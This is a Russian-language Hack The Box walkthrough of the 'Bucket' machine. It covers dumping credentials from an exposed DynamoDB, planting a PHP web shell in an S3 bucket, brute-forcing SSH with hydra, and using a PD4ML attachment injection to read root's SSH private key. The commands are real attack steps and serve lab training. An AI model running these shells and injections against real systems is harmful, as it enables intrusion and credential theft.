May 4, 2021

HTB Bucket. Взламываем сайт через Amazon S3 и похищаем пароль рута через PDF

Се­год­ня мы прой­дем машину сред­ней слож­ности с пло­щад­ки Hack The Box. По дороге ты научишь­ся получать и соз­давать дан­ные в базе DynamoDB, пос­мотришь на работу с бакета­ми Amazon S3 и научишь­ся получать дан­ные через вло­жение в PDF, исполь­зуя уяз­вимость в кон­верте­ре PDF4ML.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

Пер­вым делом я заношу IP машины (10.10.10.212) в файл /etc/hosts и даю ей более удоб­ный адрес bucket.htb.

За­тем перехо­дим к ска­ниро­ванию пор­тов. Я запус­каю скрипт, который уже не раз опи­сывал, и ска­нирую пор­ты в два про­хода (вто­рой раз — со скрип­тами по най­ден­ным в пер­вый раз пор­там).

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

По резуль­татам име­ем два откры­тых пор­та: 22-й (служ­ба SSH) и 80-й (веб‑сер­вер Apache). На SSH пока сту­чать­ся рано, пос­коль­ку у нас нет учет­ных дан­ных. Гораз­до пер­спек­тивнее будет изу­чить веб‑сер­вер. Вни­матель­но осмотрим­ся на сай­те, так как, помимо точек вхо­да и раз­ных уяз­вимос­тей, сле­дует собирать и дру­гую важ­ную информа­цию, нап­ример име­на поль­зовате­лей, при­меня­емые тех­нологии и про­чие вещи, которые могут при­годить­ся в даль­нейшем. Сам сайт на пер­вый взгляд кажет­ся прос­тень­ким, и на пер­вой же стра­нице отме­тим домен­ное имя bucket.htb (с которым мы и так уже работа­ем), а так­же акка­унт тех­поддер­жки support@bucket.htb.

Глав­ная стра­ница сай­та http://bucket.htb

Заг­лядыва­ем в исходный код стра­ницы и видим при­меча­тель­ную осо­бен­ность — исполь­зованы теги для встав­ки изоб­ражений. Фай­лы с кар­тинка­ми заг­ружа­ются с дру­гого домена — s3.bucket.htb.

Ис­ходный код домаш­ней стра­ницы http://bucket.htb

Зна­чит, на веб‑сер­вере есть вир­туаль­ный хост s3.bucket.htb и, если мы хотим с ним работать, надо добавить и его в файл /etc/hosts. Сра­зу же можем про­верить, что там.

Тес­товый зап­рос по обна­ружен­ному адре­су

Вмес­то HTML с него воз­вра­щает­ся ста­тус выпол­нения, а зна­чит, исполь­зует­ся какая‑то слу­жеб­ная тех­нология (из наз­вания под­домена пока что ста­раем­ся не делать быс­трых выводов).

Сканирование веб-страниц

Од­но из пер­вых дей­ствий при тес­тирова­нии веб‑при­ложе­ний — это ска­ниро­вание сай­та на наличие инте­рес­ных катало­гов и фай­лов. Осо­бен­но это полез­но, ког­да натыка­ешь­ся на тупик, подоб­ный тому, в котором мы ока­зались. Для ска­ниро­вания мож­но при­менять широко извес­тные прог­раммы dirsearch и DIRB, но я обыч­но поль­зуюсь более быс­трым gobuster. При запус­ке исполь­зуем сле­дующие парамет­ры:

  • dir — ска­ниро­вание дирек­торий и фай­лов;
  • -t [] — количес­тво потоков;
  • -u [] — URL-адрес для ска­ниро­вания;
  • -w [] — сло­варь для перебо­ра;
  • --timeout [] — вре­мя ожи­дания отве­та.

gobuster dir -t 128 -u http://s3.bucket.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --timeout 30s

Най­ден­ные катало­ги на http://s3.bucket.htb/

На­ходим все­го два инте­рес­ных катало­га. При обра­щении к пер­вому сно­ва получим ответ со ста­тусом. Кста­ти, что­бы копать­ся в JSON, мож­но пря­мо в тер­минале исполь­зовать ути­литу jq, переда­вая ей ответ на зап­рос.

curl http://s3.bucket.htb/health | jq

Пре­обра­зован­ный с помощью jq ответ от http://s3.bucket.htb/health

Об­раща­ясь к катало­гу shell, получим редирект на дру­гой адрес:

http://444af250749d:4566/shell/

Ес­ли открыть его в бра­узе­ре, мож­но уви­деть, что это Amazon S3. Что ж, теперь никаких сом­нений!

Стра­ница, получен­ная при обра­щении к http://s3.bucket.htb/shell

ТОЧКА ВХОДА

Amazon S3

Amazon Simple Storage Service (или S3) — это сер­вис для хра­нения объ­ектов, полез­ный, ког­да нуж­но лег­ко мас­шта­биру­ющееся хра­нили­ще. Его час­то при­меня­ют, что­бы хра­нить ста­тичес­кую часть сай­тов, ресур­сы мобиль­ных при­ложе­ний, а так­же для хра­нения бэкапов и про­чих подоб­ных нужд. Так­же у Amazon есть своя СУБД клас­са NoSQL, которая хра­нит дан­ные в фор­мате «ключ — зна­чение», она называ­ется DynamoDB.

На­ша цель — получить дос­туп к хра­нимым дан­ным, пос­коль­ку они явно важ­ны для про­хож­дения машины. По S3 есть офи­циаль­ная докумен­тация. Озна­комив­шись с ней, ста­вим набор ути­лит AWS Command Line и нас­тра­иваем дос­туп к хра­нили­щу.

sudo apt install awscli

aws configure

Кон­фигура­ция AWS CLI

Раз­берем­ся с задан­ными парамет­рами.

  • AWS Access Key ID и AWS Secret Access Key — иден­тифика­тор клю­ча дос­тупа и сам сек­ретный ключ дос­тупа. Исполь­зуют­ся для под­писи прог­рам­мных зап­росов, которые мы отправ­ляем в AWS. Соз­дать такой ключ мож­но здесь, но, так как он исполь­зует­ся толь­ко для под­писи зап­росов, я прос­то взял ID и ключ, пред­став­ленные в докумен­тации.
  • Default region name — реги­он AWS, сер­веры которо­го исполь­зовать по умол­чанию. Обыч­но это бли­жай­ший к тебе реги­он, но, пос­коль­ку он может быть любым, я вста­вил зна­чение из докумен­тации.
  • Default output format — фор­мат, в котором будет пре­дос­тавлен резуль­тат зап­роса: JSON, YAML, text, table. Так как с помощью jq удоб­но читать JSON, выбира­ем его.

Те­перь, ког­да заданы основные парамет­ры для работы с AWS, мы можем выпол­нять зап­росы к базе DynamoDB. Как и при работе с любой базой, пер­вым делом прос­мотрим, есть ли дос­тупные таб­лицы. В зап­росе исполь­зуем сле­дующие парамет­ры:

  • dynamodb — ука­зыва­ем в качес­тве служ­бы DynamoDB;
  • list-table — для получе­ния спис­ка таб­лиц;
  • --endpoint-url — URL для дос­тупа к S3;
  • --no-sign-request — не под­писывать зап­рос.

aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/ --no-sign-request | jq

Таб­лицы в базе DynamoDB

В базе все­го одна таб­лица — users. Наз­вание мно­гообе­щающее: обыч­но имен­но в таких таб­лицах хра­нят­ся учет­ные дан­ные. Давай получим хра­нимые дан­ные с помощью зап­роса, похоже­го на пре­дыду­щий, толь­ко добавим коман­ду scan, что­бы получить записи, и в парамет­ре --table-name ука­жем имя таб­лицы.

aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb/ --no-sign-request | jq

За­писи в базе DynamoDB

По­луча­ем три пары учет­ных дан­ных логин:пароль. Поль­зовате­ли, ско­рее все­го, не при­годят­ся, так как они слу­жеб­ные, а вот пароли всег­да полез­ны. Таким обра­зом, из DynamoDB мы взя­ли все, поэто­му перехо­дим к S3.

S3 — это хра­нили­ще, струк­туриро­ван­ное при помощи «бакетов» (то есть, по‑рус­ски, «ведер»), ана­логов папок с дос­тупом по шиф­ру и клю­чу. С помощью той же ути­литы awscli мы можем получить спи­сок бакетов. Для это­го в качес­тве служ­бы ука­зыва­ем s3 вмес­то dynamodb и переда­ем коман­ду ls.

aws s3 ls --endpoint-url http://s3.bucket.htb/ --no-sign-request

Дан­ные в кор­невом бакете S3

В кор­невом бакете обна­ружим какой‑то файл HTML и еще один бакет — adserver, заг­лянем и в него. Для обра­щения к бакету ука­зыва­ем параметр s3://[бакет].

aws s3 ls --endpoint-url http://s3.bucket.htb/ --human-readable --recursive s3://adserver

Дан­ные бакета adserver

Внут­ри — стра­ница HTML и три изоб­ражения. По наз­ванию изоб­ражения мож­но догадать­ся, что это тот самый сайт, которой мы встре­тили ранее. То есть если мы смо­жем помес­тить тут какой‑либо код, то смо­жем потом к нему обра­тить­ся, и код выпол­нится на сер­вере! Давай напишем прос­тень­кий PHP shell, который будет выпол­нять при­нима­емую коман­ду.

<?php echo system($_GET["r"]); ?>

Заг­ружа­ем его в бакет. Для заг­рузки объ­ектов вмес­то s3 нуж­но исполь­зовать s3api с коман­дой put-object, так­же ука­жем целевой бакет, ключ и файл для сох­ранения.

aws s3api put-object --endpoint-url http://s3.bucket.htb/ --bucket adserver --key r.php --body r.php

Заг­рузка и выпол­нение шел­ла на PHP

Вы­пол­нив тес­товую коман­ду whoami, узна­ем, в кон­тек­сте какого поль­зовате­ля мы работа­ем, — это учет­ная запись www-data служ­бы веб‑сер­вера.

ПРОДВИЖЕНИЕ

Брутфорс пароля

У нас есть три получен­ных пароля, и мы обя­затель­но дол­жны поп­робовать исполь­зовать их для каж­дого най­ден­ного поль­зовате­ля. Спи­сок поль­зовате­лей мож­но пос­мотреть в фай­ле /etc/passwd.

Со­дер­жимое фай­ла /etc/passwd

Та­ким обра­зом, в сис­теме есть все­го два поль­зовате­ля с кон­солью, это мы опре­деля­ем по пути к коман­дной обо­лоч­ке /bin/bash в кон­це каж­дой стро­ки. Поэто­му нам прос­то нуж­но поп­робовать под­клю­чить­ся по SSH от име­ни поль­зовате­ля roy и переб­рать три пароля.

Для перебо­ра учет­ных дан­ных к SSH я исполь­зовал hydra со сле­дующи­ми парамет­рами:

  • -l [] — имя поль­зовате­ля;
  • -P [] — файл с пароля­ми;
  • ssh://bucket.htb — про­токол и адрес хос­та.

hydra -l roy -P passwords.txt ssh://bucket.htb

Ре­зуль­тат перебо­ра с помощью hydra

И hydra опре­деля­ет пароль для учет­ной записи roy. Авто­ризу­емся по SSH и забира­ем флаг в фай­ле user.txt. Так мы получа­ем управле­ние хос­том от име­ни поль­зовате­ля.

Флаг поль­зовате­ля

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Что­бы понять, как прод­вигать­ся даль­ше, я исполь­зую скрип­ты PEASS. Ска­чива­ем вари­ант для Linux.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

Те­перь заг­ружа­ем его на уда­лен­ный хост. В дирек­тории со скрип­том на локаль­ной машине запус­тим с помощью python прос­той веб‑сер­вер. Пос­ле выпол­нения этой коман­ды веб‑сер­вер будет прос­лушивать порт 8000.

python3 -m http.server

На целевой машине при помощи wget ска­чива­ем скрипт с локаль­ного хос­та. Пос­ле заг­рузки скрип­ту нуж­но дать пра­во на выпол­нение и запус­тить его.

wget http://[ip_локального_хоста]:8000/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

В выводе — мас­са дан­ных. Вот что инте­рес­ное уда­лось из них выловить:

  • на хос­те уже есть awscli (что неуди­витель­но), а он может нам при­годить­ся;
  • docker-proxy запущен от име­ни root и исполь­зует порт 4556 (вспо­мина­ем о редирек­те на этот порт на ста­дии раз­ведки);
  • на сер­вере есть соз­данные рутом и дос­тупные фай­лы.
Дос­тупное прог­рам­мное обес­печение
Спи­сок про­цес­сов
Дос­тупные фай­лы дру­гих поль­зовате­лей

Да­вай взгля­нем на код в фай­ле index.php. Если при­ходит зап­рос типа POST с парамет­ром action и зна­чени­ем get_alert, то из таб­лицы alerts в S3 DynamoDB счи­тыва­ются поля title=Ransomware и затем data, зна­чение которо­го переда­ется в фун­кцию passthru для записи в файл PDF.

Здесь сра­зу воз­никла идея: так как мы кон­тро­лиру­ем дан­ные, то можем и соз­дать вло­жение в PDF. То есть, соз­дав таб­лицу с нуж­ными полями, мы можем получить в качес­тве вло­жения PDF любой файл! А если учесть, что это дей­ствие выпол­няет­ся от име­ни root, то получа­ется, что у нас есть воз­можность про­читать совер­шенно любой файл в сис­теме. Самая инте­рес­ная цель в таких слу­чаях — при­ват­ный ключ SSH рута.

Со­дер­жимое фай­ла /var/www/bucket-app/index.php

Что­бы обра­тить­ся к сай­ту через бра­узер, нуж­но узнать порт, на котором отве­чает этот сайт, и затем тун­нелиро­вать соеди­нение. Пос­мотрим нас­трой­ки Apache, а имен­но дирек­тиву VirtualHost в фай­ле /etc/apache2/sites-available/000-default.conf.

Со­дер­жимое фай­ла кон­фигура­ций Apache

Из нас­тро­ек узна­ем, что нам нужен порт 8000. Давай про­кинем этот порт, то есть сде­лаем так, что­бы весь тра­фик, при­ходив­ший на опре­делен­ный порт локаль­ной машины и ухо­див­ший с него, рет­ран­сли­ровал­ся на такой же порт целево­го хос­та. Дела­ем это с помощью стан­дар­тно­го SSH.

ssh -L 8000:127.0.0.1:8000 roy@10.10.10.212

Поп­робу­ем обра­тить­ся к сай­ту с локаль­ной машины. Для это­го выпол­ним зап­рос через бра­узер по адре­су http://127.0.0.1:8000/index.php.

Стра­ница, получа­емая при обра­щении к index.php

Тун­нель работа­ет, перехо­дим к S3. Нам нуж­но соз­дать запись, но сна­чала зададим кон­фигура­ции и пос­мотрим таб­лицы, как это делали рань­ше.

Кон­фигура­ция AWS CLI
Таб­лицы в базе DynamoDB

Да­вай соз­дадим таб­лицу, учи­тывая при­веден­ные ранее усло­вия:

  • create-table — коман­да для соз­дания таб­лицы;
  • --table-name [] — имя соз­дава­емой таб­лицы (нам нуж­но alerts);
  • --attribute-definitions [],[] — мас­сив атри­бутов, опи­сыва­ющих схе­му клю­чей для таб­лицы и индексов. В дан­ном слу­чае имя атри­бута — title (так нуж­но по усло­вию), а тип атри­бута — String (S);
  • --key-schema [],[] — зада­ет атри­буты, сос­тавля­ющие пер­вичный ключ для таб­лицы или индекса. В дан­ном слу­чае это атри­бут title, а тип — Hash;
  • --provisioned-throughput [],[] — пред­став­ляет под­готов­ленные парамет­ры про­пус­кной спо­соб­ности для ука­зан­ной таб­лицы. Мак­сималь­ное количес­тво стро­го сог­ласован­ных опе­раций чте­ния (ReadCapacityUnits) и записи (WriteCapacityUnits), выпол­няемых в секун­ду, преж­де чем DynamoDB вер­нет исклю­чение ThrottlingException.

aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://127.0.0.1:4566

Соз­дание таб­лицы в DynamoDB

Таб­лица успешно соз­дана, оста­лось запол­нить ее. Ука­жем в качес­тве зна­чения дан­ных вло­жение, ука­зыва­ющее на при­ват­ный ключ рута. Для соз­дания эле­мен­та необ­ходимо ука­зать коман­ду put-item и передать этот эле­мент в фор­мате JSON как зна­чение парамет­ра --item. Тут нуж­но пре­дос­тавить все атри­буты для пер­вично­го клю­ча. Нап­ример, в качес­тве title будет переда­на стро­ка (S) Ransomware, тог­да запись будет такая: {"title":{"S": "Ransomware"}. А в качес­тве дан­ных мы переда­ем тег <pd4ml:attachment>, что поз­волит вста­вить вло­жение. Это­му тегу нуж­но ука­зать сле­дующие парамет­ры:

  • description — опи­сание, будет появ­лять­ся при наведе­нии на икон­ку;
  • icon — сама икон­ка (paperclip — скре­поч­ка).

В качес­тве зна­чения тега ука­зыва­ем путь к фай­лу /root/.ssh/id_rsa.

aws dynamodb put-item --table-name alerts --item '{"title":{"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description="ssh-key.txt" icon="paperclip">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566

Соз­дание записи в таб­лице alers

Пос­ле соз­дания записи обра­тим­ся к сай­ту и переда­дим необ­ходимые парамет­ры POST для фор­мирова­ния докумен­та.

curl -X POST -d "action=get_alerts" http://127.0.0.1:8000/

А теперь откро­ем PDF по такому адре­су:

http://127.0.0.1:8000/files/result.pdf

В нем име­ется ука­затель на наше вло­жение, которое мы откры­ваем.

Вло­жение в PDF-докумен­те

Это вло­жение будет содер­жать ключ SSH рута. Его необ­ходимо сох­ранить в файл на локаль­ный хост и наз­начить необ­ходимые для при­ват­ного клю­ча раз­решения коман­дой chmod 0600 id_rsa. Пос­ле чего мож­но под­клю­чить­ся по SSH от име­ни поль­зовате­ля root с име­ющим­ся при­ват­ным клю­чом.

Флаг рута

Та­ким путем мы зах­ватыва­ем дан­ную машину и име­ем над ней пол­ный кон­троль!